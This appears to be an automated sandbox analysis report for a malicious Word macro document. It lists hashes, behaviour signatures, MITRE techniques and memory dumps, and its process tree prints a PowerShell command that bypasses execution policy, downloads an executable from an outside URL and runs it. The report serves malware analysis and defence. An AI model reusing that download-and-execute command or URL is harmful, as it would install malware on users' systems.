Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2024 10:14

General

  • Target

    3411b47fcaa82aaafe11a622e67ef3ae_JaffaCakes118.doc

  • Size

    168KB

  • MD5

    3411b47fcaa82aaafe11a622e67ef3ae

  • SHA1

    94b855441b1c6ef2810425b8cb44953ac6c95798

  • SHA256

    dbd39f42c733918b961bbc90cb8858dc9818bbfeeecdb7c2cf1d58c2b7b00f3f

  • SHA512

    815f345c42e0c3216a3ca01b5e0b67b0c18052ff7502146dd31ef58c63f5b669f0343c924b421096a91e82e2a6e8abd224a0430c0214fcebcf7a381c2cd5899c

  • SSDEEP

    3072:SKk9XMOGRZhYPJU68AHshLUicf+0d+m2F4QC1E4G4zuhSOgdK:Gi3RfYxhNniNGIgSSOaK

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://thelokhalegian.com/hope.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3411b47fcaa82aaafe11a622e67ef3ae_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe powershell -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://thelokhalegian.com/hope.exe','%temp%\\nPQNW.exe');Start-Process '%temp%\\nPQNW.exe';
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2592

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      557c9e447740a64e44fcaee6768e4b95

      SHA1

      7f99a82896fac8db360dc6b628c53df82fc80d47

      SHA256

      bd23a8afb09f2cf92221aca39bf35ef2b1941159f3e0d65ca2a5454cd31bc6ce

      SHA512

      cdc07e0ca79014a29e0ed6648a98cfea0a6eb9ce110219dee57e74b47166d898d75636bf0ca5cf3fcbce83878e6b20b4c4938b8a19e6e09f232bb92247e1eb21

    • memory/1700-0-0x000000002F5F1000-0x000000002F5F2000-memory.dmp
      Filesize

      4KB

    • memory/1700-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1700-2-0x0000000070D9D000-0x0000000070DA8000-memory.dmp
      Filesize

      44KB

    • memory/1700-5-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-6-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-7-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-8-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-11-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-10-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-12-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-9-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-13-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-14-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-15-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-16-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-17-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-26-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-33-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-32-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-34-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-31-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-30-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-29-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-28-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-27-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-25-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-24-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-23-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-22-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-21-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-20-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-19-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-18-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-39-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-59-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-63-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-62-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-61-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-60-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-58-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-57-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-56-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-55-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-54-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-53-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-52-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-51-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-50-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-49-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-48-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-47-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-46-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-45-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-44-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-43-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-42-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-41-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-40-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-38-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-37-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-36-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-35-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-72-0x0000000070D9D000-0x0000000070DA8000-memory.dmp
      Filesize

      44KB

    • memory/1700-73-0x00000000007E0000-0x00000000008E0000-memory.dmp
      Filesize

      1024KB

    • memory/1700-88-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1700-89-0x0000000070D9D000-0x0000000070DA8000-memory.dmp
      Filesize

      44KB